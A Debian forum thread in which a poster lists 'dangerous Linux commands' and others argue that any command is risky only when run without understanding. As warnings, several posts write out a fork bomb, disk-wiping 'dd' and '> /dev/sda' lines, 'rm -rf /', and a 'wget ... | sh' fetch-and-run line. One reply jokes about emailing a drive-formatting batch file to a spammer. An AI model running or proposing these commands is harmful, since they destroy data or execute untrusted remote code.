Scheduled Maintenance: We are aware of an issue with Google, AOL, and Yahoo services as email providers which are blocking new registrations. We are trying to fix the issue and we have several internal and external support tickets in process to resolve the issue. Please see: viewtopic.php?t=158230

 

 

 

Explainshell and dangerous commands of Linux

Off-Topic discussions about science, technology, and non Debian specific topics.
Post Reply
Message
Author
Supreme Ninja
Posts: 17
Joined: 2017-12-11 22:57

Explainshell and dangerous commands of Linux

#1 Post by Supreme Ninja »

Hello,
It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:

:(){:|:&};:

This command works as a "Fork Bomb", it operates defining a function called ':', which is called twice, once in the foreground and other in the background, the process repeats indefinitely until the system crashe

Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:

rm -rf
:(){:|:&};:
> /dev/sda
mv pasta/diretório /dev/null
wget http://malicious_source -O- | sh
dd if=/dev/random of=/dev/sda


What are all the dangerous Linux commands?

Many novice and experienced Linux users advise to use the command : () {: |: &} ;: in articles and forums?

If yes, please quote all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};:

I ask to you that to inform me about all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};: because I want to avoid all the dangerous Linux commands!

The first command of the list of examples of Explainshell is the command ( :(){ :|:& };: )

Reference: https://explainshell.com/

The list of commands of Explainshell is dangerous, irresponsible and malicious. The first command is a fork bomb and that site misleads people by talking about it as something harmless.

The Internet is filled with such bad stuff. They are traps for the unwary.
Last edited by Supreme Ninja on 2017-12-13 23:55, edited 3 times in total.

Randicus
Posts: 2663
Joined: 2011-05-08 09:11

Re: Explainshell and dangerous commands of Linux

#2 Post by Randicus »

Supreme Ninja wrote:What are all the dangerous Linux commands?
Anything one enters without knowing what it does. Many very simple commands can cause damage if used improperly. That is why anyone who wants to learn to use the terminal should start by learning the basics from a good source. I used this one: http://www.slackbook.org/ There are many more, but this is one source I know off the top of my head.

Using a little common sense goes a long way. If the question is "How to I get a list of installed applications?" and the answer is something like "dd (two dozen characters) dev = null," is it really necessary to use a long and complex command to display a simple list? If one is in doubt it is also easy to use a search engine to do some research on a command before using it.

Segfault
Posts: 993
Joined: 2005-09-24 12:24
Has thanked: 5 times
Been thanked: 17 times

Re: Explainshell and dangerous commands of Linux

#3 Post by Segfault »

From DOS era, put format C: into autoexec.bat, it will make your computer faster by cleaning up the drive.

User avatar
RU55EL
Posts: 546
Joined: 2014-04-07 03:42
Location: /home/russel

Re: Explainshell and dangerous commands of Linux

#4 Post by RU55EL »

Supreme Ninja wrote:[...]
Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:

rm -rf
[...]
[/humor mode on]

I typed that command at the prompt, hit enter, and nothing happed. Did I do it wrong?

Code: Select all

russel@NUC-G:~$ rm -rf
russel@NUC-G:~$ 
[/humor mode off]

You should never enter commands that you don't understand. Explainshell looks like a resource for learning how to use the bash shell. Why would anyone arbitrarily enter one of the Explainshell examples at their CLI?

There is alway a way to damage or destroy your operating system from the command line. That is one of the primary reasons that you should only enter commands that you understand.
Last edited by RU55EL on 2017-12-14 06:27, edited 1 time in total.

User avatar
GarryRicketson
Posts: 5644
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: Explainshell and dangerous commands of Linux

#5 Post by GarryRicketson »

russel>>I typed that command at the prompt, hit enter, and nothing happed. Did I do it wrong?

Code: Select all

russel@NUC-G:~$ rm -rf
russel@NUC-G:~$  
You did not specify a file or directory to remove, so there was nothing to do.
I thought you knew these things :?: :mrgreen:

That is what the 'man' command is for, it is safe, and it opens up the manual,
in the manual it explains how to use the command in question, what it does, etc.
All of the Linux commands are perfectly safe, when used correctly and the user understands what the command does, and each one has it's own special
purpose.

Code: Select all

man man

Explains how to use the manual.

Code: Select all

man rm 
EXAMPLES
Recursively remove all files contained within the foobar directory
hierarchy:

Code: Select all

  $ rm -rf foobar 
Either of these commands will remove the file -f:

Code: Select all

      $ rm -- -f 
Segfault wrote:From DOS era, put format C: into autoexec.bat, it will make your computer faster by cleaning up the drive.
I sent a e-mail spammer a reply once, with that in it, worded slightly different.
Hello, thank you for the e-mail, this is so exciting, I just can't wait,
please find all the data , and info requested in the attached file :
Mydata.zip,... The attached file was a auto exec batch file, when unzipped
it did exactly what that ,

Code: Select all

format C: 
                                                   YES 
I don't remember exactly, but I never did hear from the e-mail spammer again, Linux is not the only OS that has commands that can cause damage
when not used correctly .....
These are not even valid commands, ( :(){ :|:& };: ) they are just smiley
faces, and a few symbols, Try this command:

Code: Select all

 :|  :arrow:  :?:  :idea:  :idea:  :!:  :evil:  :evil:  :evil:  :D  :oops:  8)  :!:  :mrgreen: 
:| :arrow: :?: :idea: :idea: :!: :evil: :evil: :evil: :D :oops: 8) :!: :mrgreen:
Last edited by GarryRicketson on 2017-12-14 01:34, edited 2 times in total.

Supreme Ninja
Posts: 17
Joined: 2017-12-11 22:57

Re: Explainshell and dangerous commands of Linux

#6 Post by Supreme Ninja »

RU55EL wrote:
Supreme Ninja wrote:[...]
Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:

rm -rf
[...]
I typed that command at the prompt, hit enter, and nothing happed. Did I do it wrong?

Code: Select all

russel@NUC-G:~$ rm -rf
russel@NUC-G:~$ 
Second Ubuntu Forums, rm -rf and :(){:|:&};: are Malicious Commands of Linux: https://ubuntuforums.org/announcement.php?f=326

User avatar
GarryRicketson
Posts: 5644
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: Explainshell and dangerous commands of Linux

#7 Post by GarryRicketson »

But this is not Ubuntu forums, just to start with, ..
Ubuntu Forums has a strict zero-tolerance policy when it comes to posting dangerous commands. In the past members have been banned for posting dangerous commands. If the intent is malicious, this is simply unnacceptable. If it is meant as a joke – it is not funny.

Please be cautious when a command is suggested or if directed to download script/s as a solution to a problem. When in doubt as to the safety of the procedure, it's always a good idea to wait for more opinions, and/or have the command explained and verify if the explanation makes sense by consulting readily available documentation on Linux commands (such as manpages). If you have any doubts about the content of a command or script, report the post/thread and forum staff will investigate.

Please take care when posting commands or scripts to assist other users. Post only well known, documented and current commands appropriate for the operating system in use, or scripts from reputable sources. If you do post commands in order to help someone but which have the potential to be dangerous, always make sure you warn possible users of the dangers, not just to the user you are helping, but others who may come across the post later. If posting scripts that help with various tasks, please be prepared to provide a source and description of the content.
Hmm, good idea, maybe the OP of this thread should be banned, for posting
the smiley faces, and other dangerous commands, and for not using code boxes, which is a safe way of posting code and commands,
Last edited by GarryRicketson on 2017-12-14 02:55, edited 1 time in total.

Supreme Ninja
Posts: 17
Joined: 2017-12-11 22:57

Re: Explainshell and dangerous commands of Linux

#8 Post by Supreme Ninja »

GarryRicketson wrote:

These are not even valid commands, ( :(){ :|:& };: ) they are just smiley
faces, and a few symbols, Try this command:

Code: Select all

 :|  :arrow:  :?:  :idea:  :idea:  :!:  :evil:  :evil:  :evil:  :D  :oops:  8)  :!:  :mrgreen: 
:| :arrow: :?: :idea: :idea: :!: :evil: :evil: :evil: :D :oops: 8) :!: :mrgreen:
I wanted to say the command of the following link: https://explainshell.com/explain?cmd=%3 ... 0%7D%3B%3A

User avatar
GarryRicketson
Posts: 5644
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: Explainshell and dangerous commands of Linux

#9 Post by GarryRicketson »

by Supreme Ninja »The list of commands of Explainshell is dangerous, irresponsible and malicious. The first command is a fork bomb and that site misleads people by talking about it as something harmless.

The Internet is filled with such bad stuff. They are traps for the unwary.
Others seem to find that site use full,
https://www.mywot.com/en/scorecard/explainshell.com

The same commands that some say are dangerous, are very use full,...
Yes it is true, the internet is full of a lot of traps for fools and the unwary,
that is why some families, do not let their kids use it.
Simple, if you do not understand what a command or script does, don't use it.

Supreme Ninja
Posts: 17
Joined: 2017-12-11 22:57

Re: Explainshell and dangerous commands of Linux

#10 Post by Supreme Ninja »

GarryRicketson wrote:
by Supreme Ninja »The list of commands of Explainshell is dangerous, irresponsible and malicious. The first command is a fork bomb and that site misleads people by talking about it as something harmless.

The Internet is filled with such bad stuff. They are traps for the unwary.
Others seem to find that site use full,
https://www.mywot.com/en/scorecard/explainshell.com

The same commands that some say are dangerous, are very use full,...
Yes it is true, the internet is full of a lot of traps for fools and the unwary,
that is why some families, do not let their kids use it.
Simple, if you do not understand what a command or script does, don't use it.
If someone quote the Explainshell site on Ubuntu Forums, will probably be banned.

Randicus
Posts: 2663
Joined: 2011-05-08 09:11

Re: Explainshell and dangerous commands of Linux

#11 Post by Randicus »

Three people have given you advice. Why do you not address the advice given so you can learn? Instead, you continue to rant about "malicious" commands and the Ubuntu forum.

User avatar
GarryRicketson
Posts: 5644
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: Explainshell and dangerous commands of Linux

#12 Post by GarryRicketson »

If someone quote the Explainshell site on Ubuntu Forums, will probably be banned.
Sounds like a good reason not to quote the Explainshell site on Ubuntu Forums,
and also a good reason not to use the Ubuntu forums, especially if you are using Debian,... I suppose they might ban some one if they suggested using the 'dd' command as well, yet the 'dd' command is a very use full command, I use it regularly.

The commands are not malicious, but yes , some are dangerous, and can harm
a system if misused ,
Fast cars are dangerous, and slower big trucks are even more dangerous, the highways in general are extremely dangerous, the whole world is full of traps
for the unwary, and foolish ones, that have no wisdom, nor know how to use logic.
Is there some kind of point here I am missing ? :?:
There are many things out there, that are dangerous, but also the most use full commands, tools, machinery, are often the most dangerous, ... How about
nuclear power plants for example,... one mistake,... and BOOM ! Holocaust city, how ever they produce electricity for millions of people. OH, no, electricity,
it is malicious, terrible,... you should see what happened when my little brother
stuck a fork into the wall plug, and he had wet diaper on, (may he rest in peace)....
Maybe this will help :
God grant me the serenity
to accept the things I cannot change;
courage to change the things I can;
and wisdom to know the difference.

Living one day at a time;
enjoying one moment at a time;
accepting hardships as the pathway to peace;
taking, as He did, this sinful world
as it is, not as I would have it;
trusting that He will make all things right
if I surrender to His Will;
that I may be reasonably happy in this life
and supremely happy with Him
forever in the next.
Amen.

A few, dangerous linux commands and what they do on the ubuntu forums
really is not all that dangerous, or malicious, in my opinion.
There are all sorts of terrible malicious people in the world, and many things
are dangerous, nothing we can do can change that.
For me, the best solution, is the above prayer, and my parrots, together we work it all out, and by the grace of God I am sober and alive today.
Last edited by GarryRicketson on 2017-12-14 12:09, edited 1 time in total.

User avatar
RU55EL
Posts: 546
Joined: 2014-04-07 03:42
Location: /home/russel

Re: Explainshell and dangerous commands of Linux

#13 Post by RU55EL »

Supreme Ninja wrote:[...]

Second Ubuntu Forums, rm -rf and :(){:|:&};: are Malicious Commands of Linux: https://ubuntuforums.org/announcement.php?f=326
There is nothing malicious about the commands! They can be used in a very useful way, or a very malicious way, but the command itself is not malicious.

Do you use a knife in your kitchen? Is is malicious because it can be used to kill someone? Or, is it useful tool for preparing food, even though it is possible to use it as a weapon? Should you never keep a knife in the kitchen because it can be dangerous and used as a weapon?

I think that any command can be used maliciously, but you shouldn't avoid them. You should learn about them and understand them, so that you can use them safely and usefully.

The link you posted https://ubuntuforums.org/announcement.php?f=326 uses complete commands!
Again, DANGEROUS COMMANDS -- look but DO NOT RUN.

Also, this is far from an exhaustive list, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be disguised in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn't "feel right".

Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute.

Code: Select all

rm -rf /
rm -rf .
rm -rf *
Very different from the incomplete command you posted in your original post:

Code: Select all

rm -rf

User avatar
GarryRicketson
Posts: 5644
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: Explainshell and dangerous commands of Linux

#14 Post by GarryRicketson »

It finally dawned on me, that is the point of this thread, to warn people to be care full about simply copy/pasting scripts and code found on various websites and forums.

The link to Explainshell and other links posted,
.by Randicus » I used this one: http://www.slackbook.org/ There are many more, but this is one source I know off the top of my head.
Are good ways to check any code some one does not understand, paste it into
the window,and it gives a good explanation of what the code does, then one can decide if they really want to use it or not.
One can search a script, using their editor, and see if it contains anything they don't want, this should be done before actually using the script,...

Image
========================================
Image
============================
There also are many web sites that have information on the 10 most dangerous commands, some of which are common in malicious pranks, and scripts, others are really pretty safe when used correctly, and the task is what
the user wants to do.
What are the 10 most dangerous linux commands

User avatar
debiman
Posts: 3063
Joined: 2013-03-12 07:18

Re: Explainshell and dangerous commands of Linux

#15 Post by debiman »

FYI, i am getting the distinct feeling that this is the same person as pompous ninja over at LQ. intelligent enough to not use bad words, stupid enough to troll. seems to be trying other places now that it's getting hot over at LQ.

User avatar
Head_on_a_Stick
Posts: 14114
Joined: 2014-06-01 17:46
Location: London, England
Has thanked: 81 times
Been thanked: 132 times

Re: Explainshell and dangerous commands of Linux

#16 Post by Head_on_a_Stick »

Supreme Ninja wrote:I ask to you that to inform me about all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};: because I want to avoid all the dangerous Linux commands!
That is ridiculous.

If you want to avoid ever running a "dangerous" command in GNU/Linux (or any other operating system) then all you have to do is be sure to _never_ run a command unless you understand completely what it is about to do — man pages are your friend here ;)
deadbang

User avatar
debiman
Posts: 3063
Joined: 2013-03-12 07:18

Re: Explainshell and dangerous commands of Linux

#17 Post by debiman »

i am now 100% sure that this is pompous ninja.
the worst type of troll - doesn't get abusive but keeps on pushing all available buttons.
if criticized, it says sorry, but then carries on regardless.
feigning innocence.

you think i'm exaggerating? mosey over to LQ and look at that user's history.

admin, please make a long story short by banning it straightaway instead of waiting until things get out of hand.

Post Reply